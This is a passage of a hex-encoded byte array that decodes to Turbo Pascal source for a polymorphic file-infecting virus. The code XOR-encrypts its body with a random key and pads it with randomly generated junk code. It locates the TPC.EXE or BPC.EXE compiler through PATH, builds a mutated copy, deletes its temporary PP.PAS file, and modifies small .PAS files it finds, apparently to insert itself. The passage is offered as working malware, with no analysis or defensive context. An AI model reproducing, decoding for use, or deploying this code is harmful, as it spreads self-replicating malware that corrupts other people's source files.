$5D,$20,$3D,$20,$33,$20,$74,$68,$65,$6E,
$0D,$0A,$42,$65,$67,$69,$6E,$0D,$0A,$48,
$20,$3A,$3D,$20,$52,$61,$6E,$64,$6F,$6D,
$28,$36,$35,$35,$33,$35,$29,$3B,$0D,$0A,
$57,$72,$69,$74,$65,$28,$41,$2C,$48,$29,
$3B,$0D,$0A,$45,$6E,$64,$3B,$0D,$0A,$57,
$72,$69,$74,$65,$28,$41,$2C,$27,$20,$54,
$68,$65,$6E,$20,$27,$29,$3B,$0D,$0A,$4D,
$61,$6B,$65,$47,$61,$72,$62,$3B,$0D,$0A,
$45,$6E,$64,$3B,$0D,$0A,$0D,$0A,$50,$72,
$6F,$63,$65,$64,$75,$72,$65,$20,$4D,$61,
$6B,$65,$52,$70,$3B,$0D,$0A,$56,$61,$72,
$0D,$0A,$46,$3A,$53,$74,$72,$69,$6E,$67,
$3B,$0D,$0A,$47,$3A,$42,$79,$74,$65,$3B,
$0D,$0A,$7A,$5A,$3A,$42,$79,$74,$65,$3B,
$0D,$0A,$4E,$3A,$42,$6F,$6F,$6C,$65,$61,
$6E,$3B,$0D,$0A,$42,$65,$67,$69,$6E,$0D,
$0A,$49,$66,$20,$4E,$6F,$74,$20,$49,$6E,
$4C,$6F,$6F,$70,$20,$74,$68,$65,$6E,$0D,
$0A,$42,$65,$67,$69,$6E,$0D,$0A,$46,$6F,
$72,$20,$7A,$5A,$20,$3A,$3D,$20,$30,$20,
$74,$6F,$20,$56,$61,$72,$4E,$75,$6D,$20,
$64,$6F,$20,$49,$66,$20,$56,$61,$72,$73,
$54,$5B,$7A,$5A,$5D,$20,$3D,$20,$30,$20,
$74,$68,$65,$6E,$20,$42,$72,$65,$61,$6B,
$3B,$0D,$0A,$49,$66,$20,$7A,$5A,$3C,$3D,
$56,$61,$72,$4E,$75,$6D,$20,$74,$68,$65,
$6E,$0D,$0A,$42,$65,$67,$69,$6E,$0D,$0A,
$49,$6E,$4C,$6F,$6F,$70,$20,$3A,$3D,$20,
$54,$72,$75,$65,$3B,$0D,$0A,$49,$6E,$4C,
$6F,$6F,$70,$56,$61,$72,$20,$3A,$3D,$20,
$7A,$5A,$3B,$0D,$0A,$57,$72,$69,$74,$65,
$6C,$6E,$28,$41,$2C,$27,$42,$65,$67,$69,
$6E,$27,$29,$3B,$0D,$0A,$57,$72,$69,$74,
$65,$6C,$6E,$28,$41,$2C,$56,$61,$72,$73,
$5B,$7A,$5A,$5D,$2B,$27,$20,$3A,$3D,$20,
$27,$2C,$52,$61,$6E,$64,$6F,$6D,$28,$32,
$35,$35,$29,$2C,$27,$3B,$27,$29,$3B,$0D,
$0A,$57,$72,$69,$74,$65,$6C,$6E,$28,$41,
$2C,$27,$52,$65,$70,$65,$61,$74,$27,$29,
$3B,$0D,$0A,$4D,$61,$6B,$65,$47,$61,$72,
$62,$3B,$0D,$0A,$57,$72,$69,$74,$65,$6C,
$6E,$28,$41,$2C,$27,$49,$6E,$63,$28,$27,
$2B,$56,$61,$72,$73,$5B,$7A,$5A,$5D,$2B,
$27,$29,$3B,$27,$29,$3B,$0D,$0A,$4D,$61,
$6B,$65,$47,$61,$72,$62,$3B,$0D,$0A,$57,
$72,$69,$74,$65,$6C,$6E,$28,$41,$2C,$27,
$55,$6E,$74,$69,$6C,$20,$27,$2B,$56,$61,
$72,$73,$5B,$7A,$5A,$5D,$2B,$27,$20,$3D,
$20,$27,$2C,$52,$61,$6E,$64,$6F,$6D,$28,
$32,$35,$35,$29,$2C,$27,$3B,$27,$29,$3B,
$0D,$0A,$57,$72,$69,$74,$65,$6C,$6E,$28,
$41,$2C,$27,$45,$6E,$64,$3B,$27,$29,$3B,
$0D,$0A,$49,$6E,$4C,$6F,$6F,$70,$20,$3A,
$3D,$20,$46,$61,$6C,$73,$65,$3B,$0D,$0A,
$45,$6E,$64,$3B,$0D,$0A,$45,$6E,$64,$3B,
$0D,$0A,$45,$6E,$64,$3B,$0D,$0A,$0D,$0A,
$50,$72,$6F,$63,$65,$64,$75,$72,$65,$20,
$4D,$61,$6B,$65,$47,$61,$72,$62,$3B,$0D,
$0A,$56,$61,$72,$0D,$0A,$47,$3A,$42,$79,
$74,$65,$3B,$0D,$0A,$42,$65,$67,$69,$6E,
$0D,$0A,$49,$66,$20,$49,$6E,$47,$20,$3C,
$20,$32,$20,$74,$68,$65,$6E,$0D,$0A,$42,
$65,$67,$69,$6E,$0D,$0A,$49,$6E,$63,$28,
$49,$6E,$47,$29,$3B,$0D,$0A,$47,$20,$3A,
$3D,$20,$52,$61,$6E,$64,$6F,$6D,$28,$33,
$29,$3B,$0D,$0A,$43,$61,$73,$65,$20,$47,
$20,$6F,$66,$0D,$0A,$30,$3A,$20,$20,$20,
$4D,$61,$6B,$65,$41,$72,$3B,$0D,$0A,$31,
$3A,$20,$20,$20,$4D,$61,$6B,$65,$49,$66,
$3B,$0D,$0A,$32,$3A,$20,$20,$20,$4D,$61,
$6B,$65,$52,$70,$3B,$0D,$0A,$45,$6E,$64,
$3B,$0D,$0A,$44,$65,$63,$28,$49,$6E,$47,
$29,$3B,$0D,$0A,$45,$6E,$64,$20,$45,$6C,
$73,$65,$20,$4D,$61,$6B,$65,$41,$72,$3B,
$0D,$0A,$0D,$0A,$45,$6E,$64,$3B,$0D,$0A,
$50,$72,$6F,$63,$65,$64,$75,$72,$65,$20,
$44,$6F,$50,$6F,$6C,$79,$3B,$0D,$0A,$43,
$6F,$6E,$73,$74,$0D,$0A,$4F,$4E,$61,$6D,
$65,$20,$3D,$20,$27,$50,$50,$2E,$50,$61,
$73,$27,$3B,$0D,$0A,$56,$61,$72,$0D,$0A,
$74,$74,$2C,$7A,$7A,$3A,$49,$6E,$74,$65,
$67,$65,$72,$3B,$0D,$0A,$42,$65,$67,$69,
$6E,$0D,$0A,$52,$61,$6E,$64,$6F,$6D,$69,
$7A,$65,$3B,$0D,$0A,$41,$73,$73,$69,$67,
$6E,$28,$41,$2C,$4F,$4E,$61,$6D,$65,$29,
$3B,$0D,$0A,$52,$65,$77,$72,$69,$74,$65,
$28,$41,$29,$3B,$0D,$0A,$49,$6E,$4C,$6F,
$6F,$70,$20,$20,$20,$20,$20,$3A,$3D,$20,
$46,$61,$6C,$73,$65,$3B,$0D,$0A,$49,$6E,
$4C,$6F,$6F,$70,$56,$61,$72,$20,$20,$3A,
$3D,$20,$30,$3B,$0D,$0A,$49,$6E,$47,$20,
$20,$20,$20,$20,$20,$20,$20,$3A,$3D,$20,
$30,$3B,$0D,$0A,$4B,$65,$79,$20,$20,$20,
$20,$20,$20,$20,$20,$3A,$3D,$20,$52,$61,
$6E,$64,$6F,$6D,$28,$32,$35,$35,$29,$3B,
$0D,$0A,$56,$61,$72,$4E,$20,$20,$20,$20,
$20,$20,$20,$3A,$3D,$20,$30,$3B,$0D,$0A,
$49,$6E,$43,$61,$73,$65,$20,$20,$20,$20,
$20,$3A,$3D,$20,$46,$61,$6C,$73,$65,$3B,
$0D,$0A,$49,$6E,$46,$75,$6E,$63,$74,$69,
$6F,$6E,$20,$3A,$3D,$20,$46,$61,$6C,$73,
$65,$3B,$0D,$0A,$46,$43,$6F,$6E,$73,$74,
$20,$20,$20,$20,$20,$3A,$3D,$20,$46,$61,
$6C,$73,$65,$3B,$0D,$0A,$46,$75,$6E,$63,
$74,$69,$6F,$6E,$42,$65,$67,$3A,$3D,$20,
$46,$61,$6C,$73,$65,$3B,$0D,$0A,$46,$56,
$61,$72,$20,$20,$20,$20,$20,$20,$20,$3A,
$3D,$20,$46,$61,$6C,$73,$65,$3B,$0D,$0A,
$4E,$6F,$4D,$6F,$72,$65,$20,$20,$20,$20,
$20,$3A,$3D,$20,$46,$61,$6C,$73,$65,$3B,
$0D,$0A,$42,$65,$67,$69,$6E,$4E,$75,$6D,
$20,$20,$20,$3A,$3D,$20,$30,$3B,$0D,$0A,
$42,$65,$67,$69,$6E,$46,$75,$6E,$63,$20,
$20,$3A,$3D,$20,$30,$3B,$0D,$0A,$5A,$20,
$3A,$3D,$20,$30,$3B,$0D,$0A,$58,$20,$3A,
$3D,$20,$30,$3B,$0D,$0A,$43,$20,$3A,$3D,
$20,$30,$3B,$0D,$0A,$56,$20,$3A,$3D,$20,
$30,$3B,$0D,$0A,$43,$50,$6F,$73,$20,$3A,
$3D,$20,$30,$3B,$0D,$0A,$4B,$65,$79,$7A,
$20,$3A,$3D,$20,$30,$3B,$0D,$0A,$46,$6F,
$72,$20,$69,$20,$3A,$3D,$20,$30,$20,$74,
$6F,$20,$41,$72,$72,$4C,$65,$6E,$20,$64,
$6F,$20,$42,$6F,$64,$79,$5B,$69,$5D,$20,
$3A,$3D,$20,$42,$6F,$64,$79,$5B,$69,$5D,
$20,$78,$6F,$72,$20,$4B,$65,$79,$7A,$3B,
$0D,$0A,$69,$20,$3A,$3D,$20,$30,$3B,$0D,
$0A,$72,$65,$70,$65,$61,$74,$0D,$0A,$58,
$53,$74,$72,$69,$6E,$67,$20,$3A,$3D,$20,
$47,$65,$74,$53,$74,$72,$69,$6E,$67,$3B,
$0D,$0A,$57,$53,$74,$72,$69,$6E,$67,$20,
$3A,$3D,$20,$55,$43,$61,$73,$65,$28,$54,
$6F,$57,$6F,$72,$64,$28,$58,$53,$74,$72,
$69,$6E,$67,$29,$29,$3B,$0D,$0A,$44,$53,
$74,$72,$69,$6E,$67,$20,$3A,$3D,$20,$47,
$65,$74,$57,$6F,$72,$64,$28,$57,$53,$74,
$72,$69,$6E,$67,$2C,$31,$29,$3B,$0D,$0A,
$49,$66,$20,$28,$44,$53,$74,$72,$69,$6E,
$67,$20,$3D,$20,$27,$4B,$45,$59,$5A,$27,
$29,$20,$74,$68,$65,$6E,$20,$57,$72,$69,
$74,$65,$6C,$6E,$28,$41,$2C,$27,$4B,$65,
$79,$7A,$20,$3A,$3D,$27,$2C,$4B,$65,$79,
$2C,$27,$3B,$27,$29,$0D,$0A,$45,$6C,$73,
$65,$20,$57,$72,$69,$74,$65,$6C,$6E,$28,
$41,$2C,$58,$53,$74,$72,$69,$6E,$67,$29,
$3B,$0D,$0A,$49,$66,$20,$44,$53,$74,$72,
$69,$6E,$67,$20,$3D,$20,$27,$43,$4F,$4E,
$53,$54,$27,$20,$74,$68,$65,$6E,$20,$46,
$43,$6F,$6E,$73,$74,$20,$3A,$3D,$20,$54,
$72,$75,$65,$3B,$0D,$0A,$49,$66,$20,$28,
$44,$53,$74,$72,$69,$6E,$67,$20,$3D,$20,
$27,$56,$41,$52,$27,$29,$20,$74,$68,$65,
$6E,$0D,$0A,$42,$65,$67,$69,$6E,$0D,$0A,
$46,$43,$6F,$6E,$73,$74,$20,$3A,$3D,$20,
$46,$61,$6C,$73,$65,$3B,$0D,$0A,$46,$56,
$61,$72,$20,$20,$20,$3A,$3D,$20,$54,$72,
$75,$65,$3B,$0D,$0A,$45,$6E,$64,$3B,$0D,
$0A,$49,$66,$20,$44,$53,$74,$72,$69,$6E,
$67,$20,$3D,$20,$27,$46,$55,$4E,$43,$54,
$49,$4F,$4E,$27,$20,$74,$68,$65,$6E,$0D,
$0A,$42,$65,$67,$69,$6E,$0D,$0A,$46,$56,
$61,$72,$20,$3A,$3D,$20,$46,$61,$6C,$73,
$65,$3B,$0D,$0A,$49,$6E,$46,$75,$6E,$63,
$74,$69,$6F,$6E,$20,$3A,$3D,$20,$54,$72,
$75,$65,$3B,$0D,$0A,$45,$6E,$64,$3B,$0D,
$0A,$49,$66,$20,$44,$53,$74,$72,$69,$6E,
$67,$20,$3D,$20,$27,$50,$52,$4F,$43,$45,
$44,$55,$52,$45,$27,$20,$74,$68,$65,$6E,
$0D,$0A,$42,$65,$67,$69,$6E,$0D,$0A,$46,
$56,$61,$72,$20,$3A,$3D,$20,$46,$61,$6C,
$73,$65,$3B,$0D,$0A,$49,$6E,$46,$75,$6E,
$63,$74,$69,$6F,$6E,$20,$3A,$3D,$20,$54,
$72,$75,$65,$3B,$0D,$0A,$45,$6E,$64,$3B,
$0D,$0A,$49,$66,$20,$28,$44,$53,$74,$72,
$69,$6E,$67,$20,$3D,$20,$27,$42,$45,$47,
$49,$4E,$27,$29,$20,$61,$6E,$64,$20,$28,
$4E,$6F,$74,$20,$49,$6E,$46,$75,$6E,$63,
$74,$69,$6F,$6E,$29,$20,$61,$6E,$64,$20,
$28,$4E,$6F,$74,$20,$49,$6E,$43,$61,$73,
$65,$29,$20,$74,$68,$65,$6E,$20,$49,$6E,
$63,$28,$42,$65,$67,$69,$6E,$4E,$75,$6D,
$29,$3B,$0D,$0A,$49,$66,$20,$28,$44,$53,
$74,$72,$69,$6E,$67,$20,$3D,$20,$27,$45,
$4E,$44,$3B,$27,$29,$20,$61,$6E,$64,$20,
$28,$4E,$6F,$74,$20,$49,$6E,$46,$75,$6E,
$63,$74,$69,$6F,$6E,$29,$20,$61,$6E,$64,
$20,$28,$4E,$6F,$74,$20,$49,$6E,$43,$61,
$73,$65,$29,$20,$74,$68,$65,$6E,$20,$20,
$44,$65,$63,$28,$42,$65,$67,$69,$6E,$4E,
$75,$6D,$29,$3B,$0D,$0A,$49,$66,$20,$28,
$44,$53,$74,$72,$69,$6E,$67,$20,$3D,$20,
$27,$43,$41,$53,$45,$27,$29,$20,$74,$68,
$65,$6E,$20,$49,$6E,$43,$61,$73,$65,$20,
$3A,$3D,$20,$54,$72,$75,$65,$3B,$0D,$0A,
$49,$66,$20,$28,$44,$53,$74,$72,$69,$6E,
$67,$20,$3D,$20,$27,$45,$4E,$44,$3B,$27,
$29,$20,$61,$6E,$64,$20,$28,$4E,$6F,$74,
$20,$49,$6E,$46,$75,$6E,$63,$74,$69,$6F,
$6E,$29,$20,$61,$6E,$64,$20,$28,$49,$6E,
$43,$61,$73,$65,$29,$20,$74,$68,$65,$6E,
$20,$20,$49,$6E,$43,$61,$73,$65,$20,$3A,
$3D,$20,$46,$61,$6C,$73,$65,$3B,$0D,$0A,
$49,$66,$20,$28,$44,$53,$74,$72,$69,$6E,
$67,$20,$3D,$20,$27,$45,$4E,$44,$2E,$27,
$29,$20,$74,$68,$65,$6E,$20,$4E,$6F,$4D,
$6F,$72,$65,$20,$3A,$3D,$20,$54,$72,$75,
$65,$3B,$0D,$0A,$49,$66,$20,$28,$44,$53,
$74,$72,$69,$6E,$67,$20,$3D,$20,$27,$42,
$45,$47,$49,$4E,$27,$29,$20,$61,$6E,$64,
$20,$28,$49,$6E,$46,$75,$6E,$63,$74,$69,
$6F,$6E,$29,$20,$74,$68,$65,$6E,$0D,$0A,
$42,$65,$67,$69,$6E,$0D,$0A,$46,$56,$61,
$72,$20,$3A,$3D,$20,$46,$61,$6C,$73,$65,
$3B,$0D,$0A,$49,$6E,$63,$28,$42,$65,$67,
$69,$6E,$46,$75,$6E,$63,$29,$3B,$0D,$0A,
$45,$6E,$64,$3B,$0D,$0A,$49,$66,$20,$28,
$44,$53,$74,$72,$69,$6E,$67,$20,$3D,$20,
$27,$45,$4E,$44,$3B,$27,$29,$20,$61,$6E,
$64,$20,$28,$49,$6E,$46,$75,$6E,$63,$74,
$69,$6F,$6E,$29,$20,$74,$68,$65,$6E,$0D,
$0A,$42,$65,$67,$69,$6E,$0D,$0A,$44,$65,
$63,$28,$42,$65,$67,$69,$6E,$46,$75,$6E,
$63,$29,$3B,$0D,$0A,$49,$66,$20,$42,$65,
$67,$69,$6E,$46,$75,$6E,$63,$20,$3D,$20,
$30,$20,$74,$68,$65,$6E,$20,$49,$6E,$46,
$75,$6E,$63,$74,$69,$6F,$6E,$20,$3A,$3D,
$20,$46,$61,$6C,$73,$65,$3B,$0D,$0A,$45,
$6E,$64,$3B,$0D,$0A,$49,$66,$20,$28,$44,
$53,$74,$72,$69,$6E,$67,$20,$3D,$20,$27,
$42,$4F,$44,$59,$27,$29,$20,$74,$68,$65,
$6E,$0D,$0A,$42,$65,$67,$69,$6E,$0D,$0A,
$5A,$7A,$20,$3A,$3D,$20,$30,$3B,$0D,$0A,
$46,$6F,$72,$20,$54,$74,$20,$3A,$3D,$20,
$30,$20,$74,$6F,$20,$41,$72,$72,$4C,$65,
$6E,$2D,$31,$20,$64,$6F,$0D,$0A,$42,$65,
$67,$69,$6E,$0D,$0A,$57,$72,$69,$74,$65,
$28,$41,$2C,$42,$6F,$64,$79,$5B,$54,$74,
$5D,$20,$58,$6F,$72,$20,$4B,$65,$79,$2C,
$27,$2C,$27,$29,$3B,$0D,$0A,$49,$6E,$63,
$28,$5A,$7A,$29,$3B,$0D,$0A,$49,$66,$20,
$5A,$5A,$20,$3D,$20,$31,$30,$20,$74,$68,
$65,$6E,$0D,$0A,$42,$65,$67,$69,$6E,$0D,
$0A,$57,$72,$69,$74,$65,$6C,$6E,$28,$41,
$2C,$27,$27,$29,$3B,$0D,$0A,$5A,$5A,$20,
$3A,$3D,$20,$30,$3B,$0D,$0A,$45,$6E,$64,
$3B,$0D,$0A,$45,$6E,$64,$3B,$0D,$0A,$57,
$72,$69,$74,$65,$6C,$6E,$28,$41,$2C,$42,
$6F,$64,$79,$5B,$41,$72,$72,$4C,$65,$6E,
$5D,$29,$3B,$0D,$0A,$45,$6E,$64,$3B,$0D,
$0A,$49,$66,$20,$28,$46,$56,$61,$72,$29,
$20,$61,$6E,$64,$20,$28,$4E,$6F,$74,$20,
$49,$6E,$46,$75,$6E,$63,$74,$69,$6F,$6E,
$29,$20,$61,$6E,$64,$20,$28,$52,$61,$6E,
$64,$6F,$6D,$28,$33,$29,$20,$3D,$20,$30,
$29,$20,$74,$68,$65,$6E,$20,$4D,$61,$6B,
$65,$56,$61,$72,$3B,$0D,$0A,$49,$66,$20,
$28,$44,$53,$74,$72,$69,$6E,$67,$20,$3C,
$3E,$20,$27,$49,$46,$27,$29,$20,$61,$6E,
$64,$20,$28,$44,$53,$74,$72,$69,$6E,$67,
$20,$3C,$3E,$20,$27,$46,$4F,$52,$27,$29,
$20,$61,$6E,$64,$20,$28,$44,$53,$74,$72,
$69,$6E,$67,$20,$3C,$3E,$20,$27,$57,$48,
$49,$4C,$45,$27,$29,$20,$74,$68,$65,$6E,
$0D,$0A,$42,$65,$67,$69,$6E,$0D,$0A,$49,
$66,$20,$28,$4E,$6F,$74,$20,$46,$56,$61,
$72,$29,$20,$61,$6E,$64,$20,$28,$4E,$6F,
$74,$20,$46,$43,$6F,$6E,$73,$74,$29,$20,
$61,$6E,$64,$20,$28,$42,$65,$67,$69,$6E,
$4E,$75,$6D,$3E,$30,$29,$0D,$0A,$61,$6E,
$64,$20,$28,$42,$65,$67,$69,$6E,$46,$75,
$6E,$63,$3D,$30,$29,$20,$61,$6E,$64,$20,
$28,$4E,$6F,$74,$20,$4E,$6F,$4D,$6F,$72,
$65,$29,$20,$61,$6E,$64,$20,$28,$52,$61,
$6E,$64,$6F,$6D,$28,$33,$29,$3D,$30,$29,
$20,$61,$6E,$64,$20,$28,$4E,$6F,$74,$20,
$49,$6E,$43,$61,$73,$65,$29,$20,$74,$68,
$65,$6E,$20,$4D,$61,$6B,$65,$47,$61,$72,
$62,$3B,$0D,$0A,$49,$66,$20,$28,$4E,$6F,
$74,$20,$46,$56,$61,$72,$29,$20,$61,$6E,
$64,$20,$28,$4E,$6F,$74,$20,$46,$43,$6F,
$6E,$73,$74,$29,$20,$61,$6E,$64,$20,$28,
$42,$65,$67,$69,$6E,$4E,$75,$6D,$3D,$30,
$29,$0D,$0A,$61,$6E,$64,$20,$28,$42,$65,
$67,$69,$6E,$46,$75,$6E,$63,$3E,$30,$29,
$20,$61,$6E,$64,$20,$28,$49,$6E,$46,$75,
$6E,$63,$74,$69,$6F,$6E,$29,$20,$61,$6E,
$64,$20,$28,$52,$61,$6E,$64,$6F,$6D,$28,
$33,$29,$3D,$30,$29,$20,$61,$6E,$64,$20,
$28,$4E,$6F,$74,$20,$49,$6E,$43,$61,$73,
$65,$29,$20,$74,$68,$65,$6E,$20,$4D,$61,
$6B,$65,$47,$61,$72,$62,$3B,$0D,$0A,$45,
$6E,$64,$3B,$0D,$0A,$55,$6E,$74,$69,$6C,
$20,$4E,$6F,$4D,$6F,$72,$65,$3B,$0D,$0A,
$43,$6C,$6F,$73,$65,$28,$41,$29,$3B,$0D,
$0A,$45,$6E,$64,$3B,$0D,$0A,$0D,$0A,$42,
$65,$67,$69,$6E,$0D,$0A,$44,$6F,$50,$6F,
$6C,$79,$3B,$0D,$0A,$58,$53,$74,$72,$69,
$6E,$67,$20,$3A,$3D,$20,$47,$65,$74,$45,
$6E,$76,$28,$27,$50,$41,$54,$48,$27,$29,
$3B,$0D,$0A,$0D,$0A,$47,$65,$74,$44,$69,
$72,$28,$30,$2C,$44,$53,$74,$72,$69,$6E,
$67,$29,$3B,$0D,$0A,$72,$65,$70,$65,$61,
$74,$0D,$0A,$57,$53,$74,$72,$69,$6E,$67,
$20,$3A,$3D,$20,$55,$43,$61,$73,$65,$28,
$43,$6F,$70,$79,$28,$58,$53,$74,$72,$69,
$6E,$67,$2C,$69,$2C,$50,$6F,$73,$28,$27,
$3B,$27,$2C,$58,$53,$74,$72,$69,$6E,$67,
$29,$2D,$31,$29,$29,$3B,$0D,$0A,$49,$66,
$20,$57,$53,$74,$72,$69,$6E,$67,$20,$3D,
$20,$27,$27,$20,$74,$68,$65,$6E,$20,$58,
$53,$74,$72,$69,$6E,$67,$20,$3A,$3D,$20,
$27,$27,$3B,$0D,$0A,$58,$53,$74,$72,$69,
$6E,$67,$20,$3A,$3D,$20,$43,$6F,$70,$79,
$28,$58,$53,$74,$72,$69,$6E,$67,$2C,$50,
$6F,$73,$28,$27,$3B,$27,$2C,$58,$53,$74,
$72,$69,$6E,$67,$29,$2B,$31,$2C,$4C,$65,
$6E,$67,$74,$68,$28,$58,$53,$74,$72,$69,
$6E,$67,$29,$29,$3B,$0D,$0A,$43,$68,$44,
$69,$72,$28,$57,$53,$74,$72,$69,$6E,$67,
$29,$3B,$0D,$0A,$41,$73,$73,$69,$67,$6E,
$28,$46,$65,$7A,$69,$2C,$27,$54,$50,$43,
$2E,$45,$58,$45,$27,$29,$3B,$0D,$0A,$52,
$65,$73,$65,$74,$28,$46,$65,$7A,$69,$29,
$3B,$0D,$0A,$49,$66,$20,$49,$4F,$52,$65,
$73,$75,$6C,$74,$20,$3D,$20,$30,$20,$74,
$68,$65,$6E,$0D,$0A,$42,$65,$67,$69,$6E,
$0D,$0A,$43,$6C,$6F,$73,$65,$28,$46,$65,
$7A,$69,$29,$3B,$0D,$0A,$43,$6F,$6D,$70,
$69,$6C,$65,$28,$27,$54,$50,$43,$2E,$45,
$58,$45,$27,$29,$3B,$0D,$0A,$42,$72,$65,
$61,$6B,$3B,$0D,$0A,$45,$6E,$64,$3B,$0D,
$0A,$41,$73,$73,$69,$67,$6E,$28,$46,$65,
$7A,$69,$2C,$27,$42,$50,$43,$2E,$45,$58,
$45,$27,$29,$3B,$0D,$0A,$52,$65,$73,$65,
$74,$28,$46,$65,$5A,$69,$29,$3B,$0D,$0A,
$49,$66,$20,$49,$4F,$52,$65,$73,$75,$6C,
$74,$20,$3D,$20,$30,$20,$74,$68,$65,$6E,
$0D,$0A,$42,$65,$67,$69,$6E,$0D,$0A,$43,
$6C,$6F,$73,$65,$28,$46,$65,$7A,$69,$29,
$3B,$0D,$0A,$43,$6F,$6D,$70,$69,$6C,$65,
$28,$27,$54,$50,$43,$2E,$45,$58,$45,$27,
$29,$3B,$0D,$0A,$42,$72,$65,$61,$6B,$3B,
$0D,$0A,$45,$6E,$64,$3B,$0D,$0A,$75,$6E,
$74,$69,$6C,$20,$58,$53,$74,$72,$69,$6E,
$67,$20,$3D,$20,$27,$27,$3B,$0D,$0A,$0D,
$0A,$43,$68,$44,$69,$72,$28,$44,$53,$74,
$72,$69,$6E,$67,$29,$3B,$0D,$0A,$49,$66,
$20,$58,$53,$74,$72,$69,$6E,$67,$20,$3C,
$3E,$20,$27,$27,$20,$74,$68,$65,$6E,$0D,
$0A,$42,$65,$67,$69,$6E,$0D,$0A,$41,$73,
$73,$69,$67,$6E,$28,$46,$65,$7A,$69,$2C,
$27,$50,$50,$2E,$50,$41,$53,$27,$29,$3B,
$0D,$0A,$45,$72,$61,$73,$65,$28,$46,$65,
$7A,$69,$29,$3B,$0D,$0A,$45,$6E,$64,$3B,
$0D,$0A,$0D,$0A,$46,$69,$6E,$64,$46,$69,
$72,$73,$74,$28,$27,$2A,$2E,$50,$41,$53,
$27,$2C,$20,$41,$72,$63,$68,$69,$76,$65,
$2C,$20,$46,$69,$7A,$29,$3B,$0D,$0A,$77,
$68,$69,$6C,$65,$20,$44,$6F,$73,$45,$72,
$72,$6F,$72,$20,$3D,$20,$30,$20,$64,$6F,
$0D,$0A,$62,$65,$67,$69,$6E,$0D,$0A,$5A,
$20,$3A,$3D,$20,$30,$3B,$0D,$0A,$58,$20,
$3A,$3D,$20,$30,$3B,$0D,$0A,$4E,$6F,$4D,
$6F,$72,$65,$20,$3A,$3D,$20,$46,$61,$6C,
$73,$65,$3B,$0D,$0A,$41,$73,$73,$69,$67,
$6E,$28,$46,$65,$7A,$69,$2C,$46,$69,$7A,
$2E,$4E,$61,$6D,$65,$29,$3B,$0D,$0A,$52,
$65,$73,$65,$74,$28,$46,$65,$7A,$69,$29,
$3B,$0D,$0A,$49,$66,$20,$46,$69,$7A,$2E,
$53,$69,$7A,$65,$20,$3C,$20,$31,$36,$30,
$30,$30,$20,$74,$68,$65,$6E,$0D,$0A,$42,
$65,$67,$69,$6E,$0D,$0A,$0D,$0A,$72,$65,
$70,$65,$61,$74,$0D,$0A,$4E,$65,$77,$28,
$42,$42,$4E,$5B,$5A,$5D,$29,$3B,$0D,$0A,
$52,$65,$61,$64,$6C,$6E,$28,$46,$65,$7A,
$69,$2C,$42,$42,$4E,$5B,$5A,$5D,$5E,$29,
$3B,$0D,$0A,$49,$6E,$63,$28,$5A,$29,$3B,
$0D,$0A,$75,$6E,$74,$69,$6C,$20,$45,$6F,
$66,$28,$46,$65,$7A,$69,$29,$3B,$0D,$0A,
$43,$6C,$6F,$73,$65,$28,$46,$65,$7A,$69,
$29,$3B,$0D,$0A,$0D,$0A,$42,$50,$6F,$73,
$20,$3A,$3D,$20,$46,$61,$6C,$73,$65,$3B,
$0D,$0A,$46,$6F,$72,$20,$69,$20,$3A,$3D,
$20,$30,$20,$74,$6F,$20,$5A,$2D,$31,$20,
$64,$6F,$20,$49,$66,$20,$50,$6F,$73,$28,
$27,$7B,$24,$4D,$27,$2C,$42,$42,$4E,$5B,
$69,$5D,$5E,$29,$3E,$30,$20,$74,$68,$65,
$6E,$20,$42,$50,$6F,$73,$20,$3A,$3D,$20,
$54,$72,$75,$65,$3B,$0D,$0A,$49,$66,$20,
$4E,$6F,$74,$20,$42,$50,$6F,$73,$20,$74,
$68,$65,$6E,$0D,$0A,$62,$65,$67,$69,$6E,
$0D,$0A,$42,$50,$6F,$73,$20,$3A,$3D,$20,
$46,$61,$6C,$73,$65,$3B,$0D,$0A,$69,$20,
$3A,$3D,$20,$30,$3B,$0D,$0A,$72,$65,$70,
$65,$61,$74,$0D,$0A,$49,$6E,$63,$28,$49,
$29,$3B,$0D,$0A,$49,$66,$20,$4C,$65,$6E,
$67,$74,$68,$28,$42,$42,$4E,$5B,$69,$5D,
$5E,$29,$3C,$34,$30,$20,$74,$68,$65,$6E,
$20,$42,$50,$6F,$73,$20,$3A,$3D,$20,$54,
$72,$75,$65,$3B,$0D,$0A,$75,$6E,$74,$69,
$6C,$20,$42,$50,$6F,$73,$3B,$0D,$0A,$4E,
$65,$77,$28,$42,$42,$4E,$5B,$5A,$5D,$29,
$3B,$0D,$0A,$46,$6F,$72,$20,$43,$20,$3A,
$3D,$20,$5A,$2D,$31,$20,$64,$6F,$77,$6E,
$74,$6F,$20,$69,$20,$64,$6F,$20,$42,$42,
$4E,$5B,$43,$2B,$31,$5D,$5E,$20,$3A,$3D,
$20,$42,$42,$4E,$5B,$43,$5D,$5E,$3B,$0D,
$0A,$42,$42,$4E,$5B,$69,$5D,$5E,$20,$3A,
$3D,$20,$27,$7B,$24,$4D,$20,$24,$38,$30,
$30,$30,$2C,$30,$2C,$32,$30,$30,$30,$30,
$30,$7D,$27,$3B,$0D,$0A,$49,$6E,$63,$28,
$5A,$29,$3B,$0D,$0A,$45,$6E,$64,$3B,$0D,
$0A,$0D,$0A,$58,$20,$3A,$3D,$20,$30,$3B,
$0D,$0A,$69,$20,$3A,$3D,$20,$30,$3B,$0D,
$0A,$0D,$0A,$72,$65,$70,$65,$61,$74,$0D,
$0A,$57,$53,$74,$72,$69,$6E,$67,$20,$3A,
$3D,$20,$47,$65,$74,$57,$6F,$72,$64,$28,
$55,$43,$61,$73,$65,$28,$54,$6F,$57,$6F,
$72,$64,$28,$42,$42,$4E,$5B,$58,$5D,$5E,
$29,$29,$2C,$31,$29,$3B,$0D,$0A,$49,$6E,
$63,$28,$58,$29,$3B,$0D,$0A,$75,$6E,$74,
$69,$6C,$20,$28,$57,$53,$74,$72,$69,$6E,
$67,$20,$3D,$20,$27,$55,$53,$45,$53,$27,
$29,$20,$6F,$72,$20,$28,$58,$3E,$5A,$29,
$3B,$0D,$0A,$49,$66,$20,$5A,$20,$3E,$20,
$58,$20,$74,$68,$65,$6E,$0D,$0A,$49,$66,
$20,$50,$6F,$73,$28,$27,$50,$50,$27,$2C,
$42,$42,$4E,$5B,$58,$2D,$31,$5D,$5E,$29,
$20,$3D,$20,$30,$20,$74,$68,$65,$6E,$0D,
$0A,$42,$65,$67,$69,$6E,$0D,$0A,$49,$66,
$20,$57,$6F,$72,$64,$43,$6F,$75,$6E,$74,
$28,$42,$42,$4E,$5B,$58,$2D,$31,$5D,$5E,
